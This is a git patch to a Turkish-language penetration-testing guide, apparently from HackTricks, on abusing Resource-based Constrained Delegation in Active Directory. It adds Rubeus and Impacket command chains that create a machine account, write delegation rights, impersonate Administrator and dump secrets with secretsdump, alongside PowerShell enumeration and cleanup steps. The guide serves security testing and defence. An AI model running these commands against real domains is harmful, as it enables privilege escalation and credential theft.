From 7c665be986cce402469ddb6731f10399ff55b045 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 19 Aug 2025 08:44:54 +0000 Subject: [PATCH] Translated ['src/windows-hardening/active-directory-methodology/resource --- .../resource-based-constrained-delegation.md | 119 +++++++++++++++--- 1 file changed, 100 insertions(+), 19 deletions(-) diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 8fe07391f..94b01f9cf 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -2,20 +2,21 @@ {{#include ../../banners/hacktricks-training.md}} + ## Resource-based Constrained Delegation Temelleri -Bu, temel [Constrained Delegation](constrained-delegation.md) ile benzerlik gösterir, ancak **bir nesneye** **bir makineye karşı herhangi bir kullanıcıyı taklit etme** izni vermek yerine, Resource-based Constrained Delegation **nesne üzerinde herhangi bir kullanıcıyı taklit etme yetkisini belirler**. +Bu, temel [Constrained Delegation](constrained-delegation.md) ile benzerdir ancak **bir nesneye** **bir makineye karşı herhangi bir kullanıcıyı taklit etme** izni vermek yerine, Resource-based Constrained Delegation **nesnede** **ona karşı herhangi bir kullanıcıyı taklit edebilecek olanı** **belirler**. -Bu durumda, kısıtlı nesne, herhangi bir kullanıcıyı taklit edebilecek kullanıcının adını içeren _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ adlı bir niteliğe sahip olacaktır. +Bu durumda, kısıtlı nesne, ona karşı herhangi bir kullanıcıyı taklit edebilecek kullanıcının adını içeren _**msDS-AllowedToActOnBehalfOfOtherIdentity**_ adlı bir niteliğe sahip olacaktır. Bu Kısıtlı Delegasyonun diğer delegasyonlardan önemli bir farkı, **makine hesabı üzerinde yazma izinlerine sahip** herhangi bir kullanıcının (_GenericAll/GenericWrite/WriteDacl/WriteProperty/etc_) **_msDS-AllowedToActOnBehalfOfOtherIdentity_** değerini ayarlayabilmesidir (Diğer Delegasyon türlerinde alan yöneticisi ayrıcalıkları gerekiyordu). ### Yeni Kavramlar -Kısıtlı Delegasyon'da, kullanıcının _userAccountControl_ değerindeki **`TrustedToAuthForDelegation`** bayrağının **S4U2Self** gerçekleştirmek için gerekli olduğu belirtilmişti. Ancak bu tamamen doğru değil.\ -Gerçek şu ki, o değer olmadan bile, eğer bir **hizmet** (bir SPN'e sahipseniz) iseniz, herhangi bir kullanıcıya karşı **S4U2Self** gerçekleştirebilirsiniz, ancak eğer **`TrustedToAuthForDelegation`** bayrağına sahipseniz, dönen TGS **Forwardable** olacaktır ve eğer o bayrağa sahip değilseniz, dönen TGS **Forwardable** **olmayacaktır**. +Kısıtlı Delegasyon'da, kullanıcının _userAccountControl_ değerindeki **`TrustedToAuthForDelegation`** bayrağının bir **S4U2Self** gerçekleştirmek için gerekli olduğu söylenmişti. Ancak bu tamamen doğru değil.\ +Gerçek şu ki, o değer olmadan bile, eğer bir **hizmet** (bir SPN'e sahipseniz) iseniz, herhangi bir kullanıcıya karşı **S4U2Self** gerçekleştirebilirsiniz, ancak eğer **`TrustedToAuthForDelegation`** varsa, dönen TGS **Forwardable** olacaktır ve eğer o bayrağa sahip değilseniz, dönen TGS **Forwardable** **olmayacaktır**. -Ancak, **S4U2Proxy**'de kullanılan **TGS** **Forwardable DEĞİLSE**, temel bir **Kısıtlı Delegasyon** istismar etmeye çalışmak **çalışmayacaktır**. Ancak bir **Resource-Based kısıtlı delegasyonu** istismar etmeye çalışıyorsanız, bu **çalışacaktır**. +Ancak, **S4U2Proxy**'de kullanılan **TGS** **Forwardable DEĞİLSE**, temel bir **Constrain Delegation**'ı kötüye kullanmaya çalışmak **çalışmayacaktır**. Ama eğer bir **Resource-Based constrain delegation**'ı istismar etmeye çalışıyorsanız, bu **çalışacaktır**. ### Saldırı Yapısı @@ -23,13 +24,13 @@ Ancak, **S4U2Proxy**'de kullanılan **TGS** **Forwardable DEĞİLSE**, temel bir Saldırganın zaten **kurban bilgisayarı üzerinde yazma eşdeğer ayrıcalıklarına** sahip olduğunu varsayalım. -1. Saldırgan, bir **SPN**'ye sahip bir hesabı **ele geçirir** veya **oluşturur** (“Hizmet A”). Herhangi bir _Admin User_'ın başka bir özel ayrıcalığı olmadan **10 Bilgisayar nesnesi** (_MachineAccountQuota_) oluşturabileceğini ve bunlara bir **SPN** ayarlayabileceğini unutmayın. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir. -2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kullanarak **HizmetA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde kaynak tabanlı kısıtlı delegasyonu yapılandırır**. -3. Saldırgan, **Service B'ye ayrıcalıklı erişimi olan bir kullanıcı** için Service A'dan Service B'ye **tam bir S4U saldırısı** gerçekleştirmek üzere Rubeus'u kullanır. - 1. S4U2Self (ele geçirilen/oluşturulan SPN'den): **Yönetici için bana bir TGS iste** (Forwardable DEĞİL). - 2. S4U2Proxy: Önceki adımda elde edilen **Forwardable DEĞİL TGS**'yi kullanarak **Yönetici**'den **kurban ana bilgisayara** bir **TGS** istemek. - 3. Forwardable DEĞİL bir TGS kullanıyor olsanız bile, Resource-based kısıtlı delegasyonu istismar ettiğiniz için bu **çalışacaktır**. - 4. Saldırgan, **ticket'ı geçirebilir** ve **kullanıcıyı taklit ederek kurban ServiceB'ye erişim elde edebilir**. +1. Saldırgan, bir **SPN**'ye sahip bir hesabı **ele geçirir** veya **oluşturur** (“Hizmet A”). Herhangi bir _Admin User_'ın başka bir özel ayrıcalığı olmadan **10 Bilgisayar nesnesi** (**_MachineAccountQuota_**) oluşturabileceğini ve bunlara bir **SPN** ayarlayabileceğini unutmayın. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir. +2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kötüye kullanarak, **HizmetA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde kaynak tabanlı kısıtlı delegasyonu** yapılandırır. +3. Saldırgan, **Hizmet B'ye ayrıcalıklı erişimi olan bir kullanıcı** için Hizmet A'dan Hizmet B'ye **tam bir S4U saldırısı** (S4U2Self ve S4U2Proxy) gerçekleştirmek için Rubeus'u kullanır. +1. S4U2Self (ele geçirilen/oluşturulan SPN'den): **Yönetici için bana bir TGS iste** (Forwardable DEĞİL). +2. S4U2Proxy: Önceki adımın **Forwardable DEĞİL** TGS'sini kullanarak **Yönetici**'den **kurban ana bilgisayara** bir **TGS** istemek. +3. Forwardable DEĞİL bir TGS kullanıyor olsanız bile, kaynak tabanlı kısıtlı delegasyonu istismar ettiğiniz için, bu **çalışacaktır**. +4. Saldırgan, **ticket'ı geçirebilir** ve **kullanıcıyı taklit ederek** **kurban ServiceB'ye erişim** elde edebilir. Alanınızdaki _**MachineAccountQuota**_ değerini kontrol etmek için şunu kullanabilirsiniz: ```bash @@ -69,7 +70,7 @@ msds-allowedtoactonbehalfofotheridentity ---------------------------------------- {1, 0, 4, 128...} ``` -### Tam bir S4U saldırısı gerçekleştirme +### Tam bir S4U saldırısı gerçekleştirme (Windows/Rubeus) Öncelikle, `123456` şifresi ile yeni bir Bilgisayar nesnesi oluşturduk, bu yüzden o şifrenin hash'ine ihtiyacımız var: ```bash @@ -85,28 +86,107 @@ Rubeus'un `/altservice` parametresini kullanarak sadece bir kez sorarak daha faz rubeus.exe s4u /user:FAKECOMPUTER$ /aes256: /impersonateuser:administrator /msdsspn:cifs/victim.domain.local /altservice:krbtgt,cifs,host,http,winrm,RPCSS,wsman,ldap /domain:domain.local /ptt ``` > [!CAUTION] -> Kullanıcıların "**Delege edilemez**" adında bir özelliği olduğunu unutmayın. Eğer bir kullanıcının bu özelliği True ise, onu taklit edemezsiniz. Bu özellik bloodhound içinde görülebilir. +> Kullanıcıların "**Delege edilemez**" adında bir niteliği olduğunu unutmayın. Eğer bir kullanıcının bu niteliği True ise, onu taklit edemezsiniz. Bu özellik bloodhound içinde görülebilir. + +### Linux araçları: uçtan uca RBCD ile Impacket (2024+) + +Eğer Linux'tan çalışıyorsanız, resmi Impacket araçlarını kullanarak tam RBCD zincirini gerçekleştirebilirsiniz: +```bash +# 1) Create attacker-controlled machine account (respects MachineAccountQuota) +impacket-addcomputer -computer-name 'FAKE01$' -computer-pass 'P@ss123' -dc-ip 192.168.56.10 'domain.local/jdoe:Summer2025!' + +# 2) Grant RBCD on the target computer to FAKE01$ +# -action write appends/sets the security descriptor for msDS-AllowedToActOnBehalfOfOtherIdentity +impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -dc-ip 192.168.56.10 -action write 'domain.local/jdoe:Summer2025!' + +# 3) Request an impersonation ticket (S4U2Self+S4U2Proxy) for a privileged user against the victim service +impacket-getST -spn cifs/victim.domain.local -impersonate Administrator -dc-ip 192.168.56.10 'domain.local/FAKE01$:P@ss123' + +# 4) Use the ticket (ccache) against the target service +export KRB5CCNAME=$(pwd)/Administrator.ccache +# Example: dump local secrets via Kerberos (no NTLM) +impacket-secretsdump -k -no-pass Administrator@victim.domain.local +``` +Notlar +- LDAP imzalama/LDAPS zorunluysa, `impacket-rbcd -use-ldaps ...` kullanın. +- AES anahtarlarını tercih edin; birçok modern alan RC4'ü kısıtlar. Impacket ve Rubeus her ikisi de yalnızca AES akışlarını destekler. +- Impacket bazı araçlar için `sname` ("AnySPN")'i yeniden yazabilir, ancak mümkün olduğunda doğru SPN'yi elde edin (örneğin, CIFS/LDAP/HTTP/HOST/MSSQLSvc). ### Erişim -Son komut satırı, **tam S4U saldırısını gerçekleştirecek ve TGS'yi** Administrator'dan kurban hostuna **bellekte** enjekte edecektir.\ -Bu örnekte, Administrator'dan **CIFS** servisi için bir TGS talep edilmiştir, böylece **C$**'ye erişebileceksiniz: +Son komut satırı **tam S4U saldırısını gerçekleştirecek ve TGS'yi** Yönetici'den kurban makinesine **belleğe** enjekte edecektir.\ +Bu örnekte, Yönetici'den **CIFS** hizmeti için bir TGS talep edildi, böylece **C$**'ye erişebileceksiniz: ```bash ls \\victim.domain.local\C$ ``` ### Farklı hizmet biletlerini kötüye kullanma -[**mevcut hizmet biletlerini buradan öğrenin**](silver-ticket.md#available-services). +[**mevcut hizmet biletleri hakkında burada bilgi edinin**](silver-ticket.md#available-services). +## Sayım, denetim ve temizlik + +### RBCD yapılandırılmış bilgisayarları sayma + +PowerShell (SID'leri çözmek için SD'yi çözme): +```powershell +# List all computers with msDS-AllowedToActOnBehalfOfOtherIdentity set and resolve principals +Import-Module ActiveDirectory +Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity | +Where-Object { $_."msDS-AllowedToActOnBehalfOfOtherIdentity" } | +ForEach-Object { +$raw = $_."msDS-AllowedToActOnBehalfOfOtherIdentity" +$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $raw, 0 +$sd.DiscretionaryAcl | ForEach-Object { +$sid = $_.SecurityIdentifier +try { $name = $sid.Translate([System.Security.Principal.NTAccount]) } catch { $name = $sid.Value } +[PSCustomObject]@{ Computer=$_.ObjectDN; Principal=$name; SID=$sid.Value; Rights=$_.AccessMask } +} +} +``` +Impacket (bir komutla oku veya temizle): +```bash +# Read who can delegate to VICTIM +impacket-rbcd -delegate-to 'VICTIM$' -action read 'domain.local/jdoe:Summer2025!' +``` +### Cleanup / reset RBCD + +- PowerShell (özniteliği temizle): +```powershell +Set-ADComputer $targetComputer -Clear 'msDS-AllowedToActOnBehalfOfOtherIdentity' +# Or using the friendly property +Set-ADComputer $targetComputer -PrincipalsAllowedToDelegateToAccount $null +``` +- Impacket: +```bash +# Remove a specific principal from the SD +impacket-rbcd -delegate-to 'VICTIM$' -delegate-from 'FAKE01$' -action remove 'domain.local/jdoe:Summer2025!' +# Or flush the whole list +impacket-rbcd -delegate-to 'VICTIM$' -action flush 'domain.local/jdoe:Summer2025!' +``` ## Kerberos Hataları - **`KDC_ERR_ETYPE_NOTSUPP`**: Bu, kerberos'un DES veya RC4 kullanmayacak şekilde yapılandırıldığı ve yalnızca RC4 hash'ini sağladığınız anlamına gelir. Rubeus'a en az AES256 hash'ini (veya sadece rc4, aes128 ve aes256 hash'lerini sağlayın) verin. Örnek: `[Rubeus.Program]::MainString("s4u /user:FAKECOMPUTER /aes256:CC648CF0F809EE1AA25C52E963AC0487E87AC32B1F71ACC5304C73BF566268DA /aes128:5FC3D06ED6E8EA2C9BB9CC301EA37AD4 /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:Administrator /msdsspn:CIFS/M3DC.M3C.LOCAL /ptt".split())` - **`KRB_AP_ERR_SKEW`**: Bu, mevcut bilgisayarın zamanının DC'nin zamanından farklı olduğu ve kerberos'un düzgün çalışmadığı anlamına gelir. - **`preauth_failed`**: Bu, verilen kullanıcı adı + hash'lerin giriş yapmak için çalışmadığı anlamına gelir. Hash'leri oluştururken kullanıcı adının içine "$" koymayı unutmuş olabilirsiniz (`.\Rubeus.exe hash /password:123456 /user:FAKECOMPUTER$ /domain:domain.local`) -- **`KDC_ERR_BADOPTION`**: Bu, şunları ifade edebilir: +- **`KDC_ERR_BADOPTION`**: Bu, aşağıdakileri ifade edebilir: - Taklit etmeye çalıştığınız kullanıcı, istenen hizmete erişemiyor (çünkü onu taklit edemezsiniz veya yeterli ayrıcalıklara sahip değildir) - İstenen hizmet mevcut değil (eğer winrm için bir bilet isterseniz ama winrm çalışmıyorsa) - Oluşturulan fakecomputer, savunmasız sunucu üzerindeki ayrıcalıklarını kaybetti ve bunları geri vermeniz gerekiyor. + - Klasik KCD'yi kötüye kullanıyorsunuz; RBCD'nin, S4U2Self biletleri ile çalıştığını, KCD'nin ise iletilebilir biletler gerektirdiğini unutmayın. + +## Notlar, iletimler ve alternatifler + +- LDAP filtrelenmişse, RBCD SD'yi AD Web Services (ADWS) üzerinden de yazabilirsiniz. Bakınız: + +{{#ref}} +adws-enumeration.md +{{#endref}} + +- Kerberos iletim zincirleri genellikle yerel SYSTEM'e ulaşmak için RBCD ile sona erer. Pratik uçtan uca örneklere bakınız: + +{{#ref}} +../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +{{#endref}} ## Referanslar @@ -115,6 +195,7 @@ ls \\victim.domain.local\C$ - [https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/resource-based-constrained-delegation-ad-computer-object-take-over-and-privilged-code-execution#modifying-target-computers-ad-object) - [https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/](https://stealthbits.com/blog/resource-based-constrained-delegation-abuse/) - [https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61](https://posts.specterops.io/kerberosity-killed-the-domain-an-offensive-kerberos-overview-eb04b1402c61) - +- Impacket rbcd.py (resmi): https://github.com/fortra/impacket/blob/master/examples/rbcd.py +- Son sözdizimi ile hızlı Linux kılavuzu: https://tldrbins.github.io/rbcd/ {{#include ../../banners/hacktricks-training.md}}